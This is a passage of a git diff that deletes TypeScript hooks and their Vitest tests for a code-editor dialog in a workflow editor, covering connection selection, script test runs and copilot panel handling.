-        useGetComponentDefinitionsQuery: () => ({
-            data: hoisted.mockComponentDefinitions,
-        }),
-        useGetConnectionTagsQuery: vi.fn(),
-        useGetConnectionsQuery: () => ({
-            data: hoisted.mockConnections,
-        }),
-    }),
-}));
-
-vi.mock('@/pages/platform/workflow-editor/stores/useWorkflowEditorStore', () => ({
-    default: (selector: (state: {rootClusterElementNodeData: typeof hoisted.rootClusterElementNodeData}) => unknown) =>
-        selector({rootClusterElementNodeData: hoisted.rootClusterElementNodeData}),
-}));
-
-vi.mock('@/pages/platform/workflow-editor/stores/useWorkflowNodeDetailsPanelStore', () => ({
-    default: (selector: (state: {currentNode: typeof hoisted.currentNode}) => unknown) =>
-        selector({currentNode: hoisted.currentNode}),
-}));
-
-vi.mock('@/shared/middleware/graphql', () => ({
-    useSaveClusterElementTestConfigurationConnectionMutation: () => ({
-        mutate: hoisted.mockMutateClusterElement,
-    }),
-    useSaveWorkflowTestConfigurationConnectionMutation: () => ({
-        mutate: hoisted.mockMutateWorkflowNode,
-    }),
-}));
-
-vi.mock('@/shared/queries/platform/componentDefinitions.queries', () => ({
-    useGetComponentDefinitionQuery: () => ({
-        data: hoisted.mockComponentDefinition,
-    }),
-}));
-
-vi.mock('@/shared/queries/platform/workflowTestConfigurations.queries', () => ({
-    WorkflowTestConfigurationKeys: {
-        workflowTestConfigurations: ['workflowTestConfigurations'],
-    },
-}));
-
-vi.mock('@/shared/stores/useEnvironmentStore', () => ({
-    useEnvironmentStore: () => 1,
-}));
-
-vi.mock('@tanstack/react-query', () => ({
-    useQueryClient: () => ({
-        invalidateQueries: vi.fn(),
-    }),
-}));
-
-vi.mock('zustand/react/shallow', () => ({
-    useShallow: (selector: unknown) => selector,
-}));
-
-import usePropertyCodeEditorDialogRightPanelConnectionsSelect from '../usePropertyCodeEditorDialogRightPanelConnectionsSelect';
-
-describe('usePropertyCodeEditorDialogRightPanelConnectionsSelect', () => {
-    const defaultProps = {
-        componentConnection: {
-            componentName: 'testComponent',
-            componentVersion: 1,
-            key: 'test-connection',
-            required: true,
-            workflowNodeName: 'testNode',
-        },
-        workflowId: 'workflow-1',
-        workflowNodeName: 'testNode',
-        workflowTestConfigurationConnection: undefined,
-    };
-
-    beforeEach(() => {
-        vi.clearAllMocks();
-
-        hoisted.currentNode = undefined;
-        hoisted.rootClusterElementNodeData = undefined;
-    });
-
-    afterEach(() => {
-        vi.clearAllMocks();
-    });
-
-    describe('initial state', () => {
-        it('should return showNewConnectionDialog as false initially', () => {
-            const {result} = renderHook(() => usePropertyCodeEditorDialogRightPanelConnectionsSelect(defaultProps));
-
-            expect(result.current.showNewConnectionDialog).toBe(false);
-        });
-
-        it('should return component definition from query', () => {
-            const {result} = renderHook(() => usePropertyCodeEditorDialogRightPanelConnectionsSelect(defaultProps));
-
-            expect(result.current.componentDefinition).toEqual(hoisted.mockComponentDefinition);
-        });
-
-        it('should return component definitions from query', () => {
-            const {result} = renderHook(() => usePropertyCodeEditorDialogRightPanelConnectionsSelect(defaultProps));
-
-            expect(result.current.componentDefinitions).toEqual(hoisted.mockComponentDefinitions);
-        });
-
-        it('should return connections from query', () => {
-            const {result} = renderHook(() => usePropertyCodeEditorDialogRightPanelConnectionsSelect(defaultProps));
-
-            expect(result.current.connections).toEqual(hoisted.mockConnections);
-        });
-
-        it('should return connectionId as undefined when no test configuration connection', () => {
-            const {result} = renderHook(() => usePropertyCodeEditorDialogRightPanelConnectionsSelect(defaultProps));
-
-            expect(result.current.connectionId).toBeUndefined();
-        });
-
-        it('should return connectionId from test configuration connection', () => {
-            const propsWithConnection = {
-                ...defaultProps,
-                workflowTestConfigurationConnection: {
-                    connectionId: 123,
-                    workflowConnectionKey: 'test-key',
-                    workflowNodeName: 'testNode',
-                },
-            };
-
-            const {result} = renderHook(() =>
-                usePropertyCodeEditorDialogRightPanelConnectionsSelect(propsWithConnection)
-            );
-
-            expect(result.current.connectionId).toBe(123);
-        });
-    });
-
-    describe('setShowNewConnectionDialog', () => {
-        it('should update showNewConnectionDialog state to true', () => {
-            const {result} = renderHook(() => usePropertyCodeEditorDialogRightPanelConnectionsSelect(defaultProps));
-
-            act(() => {
-                result.current.setShowNewConnectionDialog(true);
-            });
-
-            expect(result.current.showNewConnectionDialog).toBe(true);
-        });
-
-        it('should update showNewConnectionDialog state to false', () => {
-            const {result} = renderHook(() => usePropertyCodeEditorDialogRightPanelConnectionsSelect(defaultProps));
-
-            act(() => {
-                result.current.setShowNewConnectionDialog(true);
-            });
-
-            act(() => {
-                result.current.setShowNewConnectionDialog(false);
-            });
-
-            expect(result.current.showNewConnectionDialog).toBe(false);
-        });
-    });
-
-    describe('handleValueChange', () => {
-        it('should call workflow node mutation with correct parameters', () => {
-            const {result} = renderHook(() => usePropertyCodeEditorDialogRightPanelConnectionsSelect(defaultProps));
-
-            act(() => {
-                result.current.handleValueChange(456, 'connection-key');
-            });
-
-            expect(hoisted.mockMutateWorkflowNode).toHaveBeenCalledWith(
-                {
-                    connectionId: 456,
-                    environmentId: 1,
-                    workflowConnectionKey: 'connection-key',
-                    workflowId: 'workflow-1',
-                    workflowNodeName: 'testNode',
-                },
-                expect.objectContaining({onSuccess: expect.any(Function)})
-            );
-        });
-
-        it('should call cluster element mutation when in cluster element context', () => {
-            hoisted.currentNode = {clusterElementType: 'model', name: 'script_1'};
-            hoisted.rootClusterElementNodeData = {workflowNodeName: 'ai_agent_1'};
-
-            const {result} = renderHook(() => usePropertyCodeEditorDialogRightPanelConnectionsSelect(defaultProps));
-
-            act(() => {
-                result.current.handleValueChange(789, 'connection-key');
-            });
-
-            expect(hoisted.mockMutateClusterElement).toHaveBeenCalledWith(
-                {
-                    clusterElementType: 'model',
-                    clusterElementWorkflowNodeName: 'script_1',
-                    connectionId: 789,
-                    environmentId: 1,
-                    workflowConnectionKey: 'connection-key',
-                    workflowId: 'workflow-1',
-                    workflowNodeName: 'ai_agent_1',
-                },
-                expect.objectContaining({onSuccess: expect.any(Function)})
-            );
-
-            expect(hoisted.mockMutateWorkflowNode).not.toHaveBeenCalled();
-        });
-    });
-
-    describe('ConnectionKeys', () => {
-        it('should return ConnectionKeys from provider', () => {
-            const {result} = renderHook(() => usePropertyCodeEditorDialogRightPanelConnectionsSelect(defaultProps));
-
-            expect(result.current.ConnectionKeys).toEqual({connections: ['connections']});
-        });
-    });
-});
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/hooks/tests/usePropertyCodeEditorDialogToolbar.test.ts b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/hooks/tests/usePropertyCodeEditorDialogToolbar.test.ts
deleted file mode 100644
index 7d1d7b5c52f..00000000000
--- a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/hooks/tests/usePropertyCodeEditorDialogToolbar.test.ts
+++ /dev/null
@@ -1,411 +0,0 @@
-import {act, renderHook, waitFor} from '@testing-library/react';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        mockGenerateConversationId: vi.fn(),
-        mockMutateAsyncClusterElement: vi.fn(),
-        mockMutateAsyncWorkflowNode: vi.fn(),
-        mockResetMessages: vi.fn(),
-        mockSaveConversationState: vi.fn(),
-        mockSetContext: vi.fn(),
-        mockSetCopilotPanelOpen: vi.fn(),
-        mockSetSaving: vi.fn(),
-        mockSetScriptIsRunning: vi.fn(),
-        mockSetScriptTestExecution: vi.fn(),
-        storeState: {
-            ai: {copilot: {enabled: true}},
-            currentEnvironmentId: 1,
-            currentNode: undefined as {clusterElementType?: string; name: string} | undefined,
-            dirty: false,
-            editorValue: 'const x = 1;',
-            ff_1570: true,
-            rootClusterElementNodeData: undefined as {workflowNodeName: string} | undefined,
-            saving: false,
-            scriptIsRunning: false,
-        },
-    };
-});
-
-vi.mock('../../stores/usePropertyCodeEditorDialogStore', () => ({
-    usePropertyCodeEditorDialogStore: (selector: (state: unknown) => unknown) =>
-        selector({
-            dirty: hoisted.storeState.dirty,
-            editorValue: hoisted.storeState.editorValue,
-            saving: hoisted.storeState.saving,
-            scriptIsRunning: hoisted.storeState.scriptIsRunning,
-            setCopilotPanelOpen: hoisted.mockSetCopilotPanelOpen,
-            setSaving: hoisted.mockSetSaving,
-            setScriptIsRunning: hoisted.mockSetScriptIsRunning,
-            setScriptTestExecution: hoisted.mockSetScriptTestExecution,
-        }),
-}));
-
-vi.mock('@/shared/components/copilot/stores/useCopilotStore', () => ({
-    MODE: {ASK: 'ASK'},
-    Source: {CODE_EDITOR: 'CODE_EDITOR'},
-    useCopilotStore: Object.assign(
-        (selector: (state: unknown) => unknown) =>
-            selector({
-                setContext: hoisted.mockSetContext,
-            }),
-        {
-            getState: () => ({
-                context: {existingProp: 'value'},
-                generateConversationId: hoisted.mockGenerateConversationId,
-                resetMessages: hoisted.mockResetMessages,
-                saveConversationState: hoisted.mockSaveConversationState,
-            }),
-        }
-    ),
-}));
-
-vi.mock('@/shared/stores/useApplicationInfoStore', () => ({
-    useApplicationInfoStore: (selector: (state: unknown) => unknown) =>
-        selector({
-            ai: hoisted.storeState.ai,
-        }),
-}));
-
-vi.mock('@/shared/stores/useEnvironmentStore', () => ({
-    useEnvironmentStore: (selector: (state: unknown) => unknown) =>
-        selector({
-            currentEnvironmentId: hoisted.storeState.currentEnvironmentId,
-        }),
-}));
-
-vi.mock('@/shared/stores/useFeatureFlagsStore', () => ({
-    useFeatureFlagsStore: () => () => hoisted.storeState.ff_1570,
-}));
-
-vi.mock('@/shared/middleware/graphql', () => ({
-    useTestClusterElementScriptMutation: () => ({
-        mutateAsync: hoisted.mockMutateAsyncClusterElement,
-    }),
-    useTestWorkflowNodeScriptMutation: () => ({
-        mutateAsync: hoisted.mockMutateAsyncWorkflowNode,
-    }),
-}));
-
-vi.mock('@/pages/platform/workflow-editor/stores/useWorkflowNodeDetailsPanelStore', () => ({
-    default: (selector: (state: unknown) => unknown) =>
-        selector({
-            currentNode: hoisted.storeState.currentNode,
-        }),
-}));
-
-vi.mock('@/pages/platform/workflow-editor/stores/useWorkflowEditorStore', () => ({
-    default: (selector: (state: unknown) => unknown) =>
-        selector({
-            rootClusterElementNodeData: hoisted.storeState.rootClusterElementNodeData,
-        }),
-}));
-
-describe('usePropertyCodeEditorDialogToolbar', () => {
-    const defaultProps = {
-        language: 'javascript',
-        onChange: vi.fn(),
-        workflowId: 'workflow-1',
-        workflowNodeName: 'testNode',
-    };
-
-    beforeEach(async () => {
-        hoisted.storeState.dirty = false;
-        hoisted.storeState.saving = false;
-        hoisted.storeState.scriptIsRunning = false;
-        hoisted.storeState.editorValue = 'const x = 1;';
-        hoisted.storeState.currentEnvironmentId = 1;
-        hoisted.storeState.ai = {copilot: {enabled: true}};
-        hoisted.storeState.ff_1570 = true;
-        hoisted.storeState.currentNode = undefined;
-        hoisted.storeState.rootClusterElementNodeData = undefined;
-        hoisted.mockMutateAsyncWorkflowNode.mockResolvedValue({
-            testWorkflowNodeScript: {output: 'test result'},
-        });
-        hoisted.mockMutateAsyncClusterElement.mockResolvedValue({
-            testClusterElementScript: {output: 'cluster element result'},
-        });
-        vi.clearAllMocks();
-        vi.resetModules();
-    });
-
-    afterEach(() => {
-        vi.clearAllMocks();
-    });
-
-    describe('initial state', () => {
-        it('should return dirty from store', async () => {
-            hoisted.storeState.dirty = true;
-
-            const {usePropertyCodeEditorDialogToolbar} = await import('../usePropertyCodeEditorDialogToolbar');
-            const {result} = renderHook(() => usePropertyCodeEditorDialogToolbar(defaultProps));
-
-            expect(result.current.dirty).toBe(true);
-        });
-
-        it('should return saving from store', async () => {
-            hoisted.storeState.saving = true;
-
-            const {usePropertyCodeEditorDialogToolbar} = await import('../usePropertyCodeEditorDialogToolbar');
-            const {result} = renderHook(() => usePropertyCodeEditorDialogToolbar(defaultProps));
-
-            expect(result.current.saving).toBe(true);
-        });
-
-        it('should return scriptIsRunning from store', async () => {
-            hoisted.storeState.scriptIsRunning = true;
-
-            const {usePropertyCodeEditorDialogToolbar} = await import('../usePropertyCodeEditorDialogToolbar');
-            const {result} = renderHook(() => usePropertyCodeEditorDialogToolbar(defaultProps));
-
-            expect(result.current.scriptIsRunning).toBe(true);
-        });
-    });
-
-    describe('copilotEnabled', () => {
-        it('should be true when both ai.copilot.enabled and feature flag are true', async () => {
-            hoisted.storeState.ai = {copilot: {enabled: true}};
-            hoisted.storeState.ff_1570 = true;
-
-            const {usePropertyCodeEditorDialogToolbar} = await import('../usePropertyCodeEditorDialogToolbar');
-            const {result} = renderHook(() => usePropertyCodeEditorDialogToolbar(defaultProps));
-
-            expect(result.current.copilotEnabled).toBe(true);
-        });
-
-        it('should be false when ai.copilot.enabled is false', async () => {
-            hoisted.storeState.ai = {copilot: {enabled: false}};
-            hoisted.storeState.ff_1570 = true;
-
-            const {usePropertyCodeEditorDialogToolbar} = await import('../usePropertyCodeEditorDialogToolbar');
-            const {result} = renderHook(() => usePropertyCodeEditorDialogToolbar(defaultProps));
-
-            expect(result.current.copilotEnabled).toBe(false);
-        });
-    });
-
-    describe('handleSaveClick', () => {
-        it('should call setSaving with true and onChange with editor value', async () => {
-            const mockOnChange = vi.fn();
-            hoisted.storeState.editorValue = 'new code';
-
-            const {usePropertyCodeEditorDialogToolbar} = await import('../usePropertyCodeEditorDialogToolbar');
-            const {result} = renderHook(() =>
-                usePropertyCodeEditorDialogToolbar({
-                    ...defaultProps,
-                    onChange: mockOnChange,
-                })
-            );
-
-            act(() => {
-                result.current.handleSaveClick();
-            });
-
-            expect(hoisted.mockSetSaving).toHaveBeenCalledWith(true);
-            expect(mockOnChange).toHaveBeenCalledWith('new code');
-        });
-    });
-
-    describe('handleRunClick', () => {
-        it('should call setScriptIsRunning with true', async () => {
-            const {usePropertyCodeEditorDialogToolbar} = await import('../usePropertyCodeEditorDialogToolbar');
-            const {result} = renderHook(() => usePropertyCodeEditorDialogToolbar(defaultProps));
-
-            act(() => {
-                result.current.handleRunClick();
-            });
-
-            expect(hoisted.mockSetScriptIsRunning).toHaveBeenCalledWith(true);
-        });
-
-        it('should call testWorkflowNodeScript mutation with correct params', async () => {
-            const {usePropertyCodeEditorDialogToolbar} = await import('../usePropertyCodeEditorDialogToolbar');
-            const {result} = renderHook(() => usePropertyCodeEditorDialogToolbar(defaultProps));
-
-            act(() => {
-                result.current.handleRunClick();
-            });
-
-            expect(hoisted.mockMutateAsyncWorkflowNode).toHaveBeenCalledWith({
-                environmentId: 1,
-                workflowId: 'workflow-1',
-                workflowNodeName: 'testNode',
-            });
-        });
-
-        it('should set script test execution on success', async () => {
-            hoisted.mockMutateAsyncWorkflowNode.mockResolvedValue({
-                testWorkflowNodeScript: {output: 'success'},
-            });
-
-            const {usePropertyCodeEditorDialogToolbar} = await import('../usePropertyCodeEditorDialogToolbar');
-            const {result} = renderHook(() => usePropertyCodeEditorDialogToolbar(defaultProps));
-
-            act(() => {
-                result.current.handleRunClick();
-            });
-
-            await waitFor(() => {
-                expect(hoisted.mockSetScriptTestExecution).toHaveBeenCalledWith({output: 'success'});
-            });
-
-            await waitFor(() => {
-                expect(hoisted.mockSetScriptIsRunning).toHaveBeenCalledWith(false);
-            });
-        });
-
-        it('should set scriptIsRunning to false on error', async () => {
-            hoisted.mockMutateAsyncWorkflowNode.mockRejectedValue(new Error('Test error'));
-
-            const {usePropertyCodeEditorDialogToolbar} = await import('../usePropertyCodeEditorDialogToolbar');
-            const {result} = renderHook(() => usePropertyCodeEditorDialogToolbar(defaultProps));
-
-            act(() => {
-                result.current.handleRunClick();
-            });
-
-            await waitFor(() => {
-                expect(hoisted.mockSetScriptIsRunning).toHaveBeenLastCalledWith(false);
-            });
-        });
-
-        describe('cluster element script', () => {
-            it('should call testClusterElementScript mutation when currentNode has clusterElementType', async () => {
-                hoisted.storeState.currentNode = {
-                    clusterElementType: 'TOOL',
-                    name: 'tool_1',
-                };
-                hoisted.storeState.rootClusterElementNodeData = {
-                    workflowNodeName: 'aiAgent_1',
-                };
-
-                const {usePropertyCodeEditorDialogToolbar} = await import('../usePropertyCodeEditorDialogToolbar');
-                const {result} = renderHook(() => usePropertyCodeEditorDialogToolbar(defaultProps));
-
-                act(() => {
-                    result.current.handleRunClick();
-                });
-
-                expect(hoisted.mockMutateAsyncClusterElement).toHaveBeenCalledWith({
-                    clusterElementType: 'TOOL',
-                    clusterElementWorkflowNodeName: 'tool_1',
-                    environmentId: 1,
-                    workflowId: 'workflow-1',
-                    workflowNodeName: 'aiAgent_1',
-                });
-                expect(hoisted.mockMutateAsyncWorkflowNode).not.toHaveBeenCalled();
-            });
-
-            it('should set script test execution on cluster element script success', async () => {
-                hoisted.storeState.currentNode = {
-                    clusterElementType: 'SYSTEM_PROMPT',
-                    name: 'systemPrompt_1',
-                };
-                hoisted.storeState.rootClusterElementNodeData = {
-                    workflowNodeName: 'aiAgent_1',
-                };
-                hoisted.mockMutateAsyncClusterElement.mockResolvedValue({
-                    testClusterElementScript: {output: 'cluster success'},
-                });
-
-                const {usePropertyCodeEditorDialogToolbar} = await import('../usePropertyCodeEditorDialogToolbar');
-                const {result} = renderHook(() => usePropertyCodeEditorDialogToolbar(defaultProps));
-
-                act(() => {
-                    result.current.handleRunClick();
-                });
-
-                await waitFor(() => {
-                    expect(hoisted.mockSetScriptTestExecution).toHaveBeenCalledWith({output: 'cluster success'});
-                });
-
-                await waitFor(() => {
-                    expect(hoisted.mockSetScriptIsRunning).toHaveBeenCalledWith(false);
-                });
-            });
-
-            it('should set scriptIsRunning to false on cluster element script error', async () => {
-                hoisted.storeState.currentNode = {
-                    clusterElementType: 'TOOL',
-                    name: 'tool_1',
-                };
-                hoisted.storeState.rootClusterElementNodeData = {
-                    workflowNodeName: 'aiAgent_1',
-                };
-                hoisted.mockMutateAsyncClusterElement.mockRejectedValue(new Error('Cluster error'));
-
-                const {usePropertyCodeEditorDialogToolbar} = await import('../usePropertyCodeEditorDialogToolbar');
-                const {result} = renderHook(() => usePropertyCodeEditorDialogToolbar(defaultProps));
-
-                act(() => {
-                    result.current.handleRunClick();
-                });
-
-                await waitFor(() => {
-                    expect(hoisted.mockSetScriptIsRunning).toHaveBeenLastCalledWith(false);
-                });
-            });
-
-            it('should fall back to testWorkflowNodeScript when rootClusterElementNodeData is missing', async () => {
-                hoisted.storeState.currentNode = {
-                    clusterElementType: 'TOOL',
-                    name: 'tool_1',
-                };
-                hoisted.storeState.rootClusterElementNodeData = undefined;
-
-                const {usePropertyCodeEditorDialogToolbar} = await import('../usePropertyCodeEditorDialogToolbar');
-                const {result} = renderHook(() => usePropertyCodeEditorDialogToolbar(defaultProps));
-
-                act(() => {
-                    result.current.handleRunClick();
-                });
-
-                expect(hoisted.mockMutateAsyncWorkflowNode).toHaveBeenCalled();
-                expect(hoisted.mockMutateAsyncClusterElement).not.toHaveBeenCalled();
-            });
-        });
-    });
-
-    describe('handleCopilotClick', () => {
-        it('should call setContext with correct parameters', async () => {
-            const {usePropertyCodeEditorDialogToolbar} = await import('../usePropertyCodeEditorDialogToolbar');
-            const {result} = renderHook(() => usePropertyCodeEditorDialogToolbar(defaultProps));
-
-            act(() => {
-                result.current.handleCopilotClick();
-            });
-
-            expect(hoisted.mockSetContext).toHaveBeenCalledWith({
-                existingProp: 'value',
-                mode: 'ASK',
-                parameters: {language: 'javascript'},
-                source: 'CODE_EDITOR',
-            });
-        });
-
-        it('should call setCopilotPanelOpen with true', async () => {
-            const {usePropertyCodeEditorDialogToolbar} = await import('../usePropertyCodeEditorDialogToolbar');
-            const {result} = renderHook(() => usePropertyCodeEditorDialogToolbar(defaultProps));
-
-            act(() => {
-                result.current.handleCopilotClick();
-            });
-
-            expect(hoisted.mockSetCopilotPanelOpen).toHaveBeenCalledWith(true);
-        });
-    });
-
-    describe('handleStopClick', () => {
-        it('should be a callable function', async () => {
-            const {usePropertyCodeEditorDialogToolbar} = await import('../usePropertyCodeEditorDialogToolbar');
-            const {result} = renderHook(() => usePropertyCodeEditorDialogToolbar(defaultProps));
-
-            expect(typeof result.current.handleStopClick).toBe('function');
-
-            // Should not throw
-            act(() => {
-                result.current.handleStopClick();
-            });
-        });
-    });
-});
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/hooks/usePropertyCodeEditorDialog.ts b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/hooks/usePropertyCodeEditorDialog.ts
deleted file mode 100644
index 47aaf35b37d..00000000000
--- a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/hooks/usePropertyCodeEditorDialog.ts
+++ /dev/null
@@ -1,98 +0,0 @@
-import {usePropertyCodeEditorDialogStore} from '@/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/stores/usePropertyCodeEditorDialogStore';
-import {getTask} from '@/pages/platform/workflow-editor/utils/getTask';
-import {useCopilotStore} from '@/shared/components/copilot/stores/useCopilotStore';
-import {Workflow} from '@/shared/middleware/platform/configuration';
-import {useCallback, useEffect, useState} from 'react';
-import {useShallow} from 'zustand/react/shallow';
-
-interface UsePropertyCodeEditorDialogProps {
-    onClose?: () => void;
-    value?: string;
-    workflow: Workflow;
-    workflowNodeName: string;
-}
-
-export const usePropertyCodeEditorDialog = ({
-    onClose,
-    value,
-    workflow,
-    workflowNodeName,
-}: UsePropertyCodeEditorDialogProps) => {
-    const [unsavedChangesAlertDialogOpen, setUnsavedChangesAlertDialogOpen] = useState(false);
-
-    const {copilotPanelOpen, dirty, editorValue, reset, setCopilotPanelOpen, setDirty, setEditorValue, setSaving} =
-        usePropertyCodeEditorDialogStore(
-            useShallow((state) => ({
-                copilotPanelOpen: state.copilotPanelOpen,
-                dirty: state.dirty,
-                editorValue: state.editorValue,
-                reset: state.reset,
-                setCopilotPanelOpen: state.setCopilotPanelOpen,
-                setDirty: state.setDirty,
-                setEditorValue: state.setEditorValue,
-                setSaving: state.setSaving,
-            }))
-        );
-
-    const handleClose = useCallback(() => {
-        useCopilotStore.getState().restoreConversationState();
-        reset();
-
-        if (onClose) {
-            onClose();
-        }
-    }, [onClose, reset]);
-
-    const handleUnsavedChangesAlertDialogCancel = useCallback(() => {
-        setUnsavedChangesAlertDialogOpen(false);
-    }, []);
-
-    const handleUnsavedChangesAlertDialogClose = useCallback(() => {
-        setUnsavedChangesAlertDialogOpen(false);
-        handleClose();
-    }, [handleClose]);
-
-    const handleCopilotClose = useCallback(() => {
-        useCopilotStore.getState().restoreConversationState();
-        setCopilotPanelOpen(false);
-    }, [setCopilotPanelOpen]);
-
-    const handleOpenChange = useCallback(
-        (open: boolean) => {
-            if (!open && dirty) {
-                setUnsavedChangesAlertDialogOpen(true);
-            } else if (!open) {
-                handleClose();
-            }
-        },
-        [dirty, handleClose]
-    );
-
-    useEffect(() => {
-        setEditorValue(value);
-    }, [value, setEditorValue]);
-
-    useEffect(() => {
-        if (value === editorValue) {
-            setDirty(false);
-            setSaving(false);
-        } else {
-            setDirty(true);
-        }
-    }, [value, editorValue, setDirty, setSaving]);
-
-    const currentWorkflowTask = getTask({
-        tasks: workflow.tasks || [],
-        workflowNodeName,
-    });
-
-    return {
-        copilotPanelOpen,
-        currentWorkflowTask,
-        handleCopilotClose,
-        handleOpenChange,
-        handleUnsavedChangesAlertDialogCancel,
-        handleUnsavedChangesAlertDialogClose,
-        unsavedChangesAlertDialogOpen,
-    };
-};
diff --git a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/hooks/usePropertyCodeEditorDialogRightPanelConnections.ts b/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/hooks/usePropertyCodeEditorDialogRightPanelConnections.ts
deleted file mode 100644
index c2054c2b035..00000000000
--- a/client/src/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/hooks/usePropertyCodeEditorDialogRightPanelConnections.ts
+++ /dev/null
@@ -1,261 +0,0 @@
-import {connectionFormSchema} from '@/pages/platform/workflow-editor/components/properties/components/property-code-editor/property-code-editor-dialog/PropertyCodeEditorDialogRightPanelConnectionsPopover';
-import {useWorkflowEditor} from '@/pages/platform/workflow-editor/providers/workflowEditorProvider';
-import {useConnectionNoteStore} from '@/pages/platform/workflow-editor/stores/useConnectionNoteStore';
-import useWorkflowEditorStore from '@/pages/platform/workflow-editor/stores/useWorkflowEditorStore';
-import useWorkflowNodeDetailsPanelStore from '@/pages/platform/workflow-editor/stores/useWorkflowNodeDetailsPanelStore';
-import {ComponentConnection, Workflow} from '@/shared/middleware/platform/configuration';
-import {useGetWorkflowTestConfigurationConnectionsQuery} from '@/shared/queries/platform/workflowTestConfigurations.queries';
-import {useEnvironmentStore} from '@/shared/stores/useEnvironmentStore';
-import {ClusterElementItemType, ClusterElementsType, WorkflowDefinitionType, WorkflowTaskType} from '@/shared/types';
-import {useQueryClient} from '@tanstack/react-query';
-import {useState} from 'react';
-import {z} from 'zod';
-import {useShallow} from 'zustand/react/shallow';
-
-const SPACE = 4;
-
-interface UsePropertyCodeEditorDialogRightPanelConnectionsPropsI {
-    componentConnections: ComponentConnection[];
-    workflow: Workflow;
-    workflowNodeName: string;
-}
-
-export const usePropertyCodeEditorDialogRightPanelConnections = ({
-    componentConnections,
-    workflow,
-    workflowNodeName,
-}: UsePropertyCodeEditorDialogRightPanelConnectionsPropsI) => {
-    const [showNewConnectionDialog, setShowNewConnectionDialog] = useState(false);
-
-    const queryClient = useQueryClient();
-
-    const {setShowConnectionNote, showConnectionNote} = useConnectionNoteStore(
-        useShallow((state) => ({
-            setShowConnectionNote: state.setShowConnectionNote,
-            showConnectionNote: state.showConnectionNote,
-        }))
-    );
-
-    const currentEnvironmentId = useEnvironmentStore((state) => state.currentEnvironmentId);
-    const currentNode = useWorkflowNodeDetailsPanelStore((state) => state.currentNode);
-    const rootClusterElementNodeData = useWorkflowEditorStore(useShallow((state) => state.rootClusterElementNodeData));
-
-    const isClusterElement = currentNode?.clusterElementType && rootClusterElementNodeData?.workflowNodeName;
-
-    const {
-        ConnectionKeys,
-        updateWorkflowMutation,
-        useCreateConnectionMutation,
-        useGetComponentDefinitionsQuery,
-        useGetConnectionTagsQuery,
-    } = useWorkflowEditor();
-
-    const handleCloseConnectionNote = () => setShowConnectionNote(false);
-
-    const {data: componentDefinitions} = useGetComponentDefinitionsQuery({});
-
-    const {data: workflowTestConfigurationConnections} = useGetWorkflowTestConfigurationConnectionsQuery({
-        environmentId: currentEnvironmentId,
-        workflowId: workflow.id!,
-        workflowNodeName: isClusterElement
-            ? (rootClusterElementNodeData?.workflowNodeName as string)
-            : workflowNodeName,
-    });
-
-    const handleOnSubmit = (values: z.infer<typeof connectionFormSchema>) => {
-        if (!workflow?.definition) {
-            return;
-        }
-
-        let workflowDefinition: WorkflowDefinitionType = JSON.parse(workflow?.definition);
-
-        if (isClusterElement) {
-            const parentTaskName = rootClusterElementNodeData?.workflowNodeName;
-            const clusterElementType = currentNode?.clusterElementType as keyof ClusterElementsType;
-
-            const parentTask = workflowDefinition.tasks?.find((task) => task.name === parentTaskName);
-
-            const clusterElementValue = parentTask?.clusterElements?.[clusterElementType];
-
-            if (!clusterElementValue || Array.isArray(clusterElementValue)) {
-                return;
-            }
-
-            workflowDefinition = {
-                ...workflowDefinition,
-                tasks: workflowDefinition.tasks!.map((task) => {
-                    if (task.name === parentTaskName) {
-                        const clusterElement = task.clusterElements![clusterElementType] as ClusterElementItemType;
-
-                        return {
-                            ...task,
-                            clusterElements: {
-                                ...task.clusterElements,
-                                [clusterElementType]: {
-                                    ...clusterElement,
-                                    connections: {
-                                        ...(clusterElement.connections ?? {}),
-                                        [values.name]: {
-                                            componentName: values.componentName,
-                                            componentVersion: values.componentVersion,
-                                        },
-                                    },
-                                },
-                            },
-                        } as WorkflowTaskType;
-                    }
-
-                    return task;
-                }),
-            };
-        } else {
-            const scriptWorkflowTask = workflowDefinition.tasks?.find((task) => task.name === workflowNodeName);
-
-            if (!scriptWorkflowTask) {
-                return;
-            }
-
-            workflowDefinition = {
-                ...workflowDefinition,
-                tasks: workflowDefinition.tasks!.map((task) => {
-                    if (task.name === workflowNodeName) {
-                        return {
-                            ...scriptWorkflowTask,
-                            connections: {
-                                ...(scriptWorkflowTask.connections ?? {}),
-                                [values.name]: {
-                                    componentName: values.componentName,
-                                    componentVersion: values.componentVersion,
-                                },
-                            },
-                        } as WorkflowTaskType;
-                    }
-
-                    return task;
-                }),
-            };
-        }
-
-        updateWorkflowMutation!.mutate(
-            {
-                id: workflow.id!,
-                workflow: {
-                    definition: JSON.stringify(workflowDefinition, null, SPACE),
-                    version: workflow.version,
-                },
-            },
-            {
-                onSuccess: () => {
-                    if (isClusterElement) {
-                        queryClient.invalidateQueries({queryKey: ['clusterElementComponentConnections']});
-                    } else {
-                        queryClient.invalidateQueries({queryKey: ['workflowNodeComponentConnections']});
-                    }
-                },
-            }
-        );
-    };
-
-    const handleOnRemoveClick = (workflowConnectionKey: string) => {
-        if (!workflow?.definition) {
-            return;
-        }
-
-        let workflowDefinition: WorkflowDefinitionType = JSON.parse(workflow?.definition);
-
-        if (isClusterElement) {
-            const parentTaskName = rootClusterElementNodeData?.workflowNodeName;
-            const clusterElementType = currentNode?.clusterElementType as keyof ClusterElementsType;
-
-            const parentTask = workflowDefinition.tasks?.find((task) => task.name === parentTaskName);
-
-            const clusterElementValue = parentTask?.clusterElements?.[clusterElementType];
-
-            if (!clusterElementValue || Array.isArray(clusterElementValue)) {
-                return;
-            }
-
-            // eslint-disable-next-line @typescript-eslint/no-unused-vars
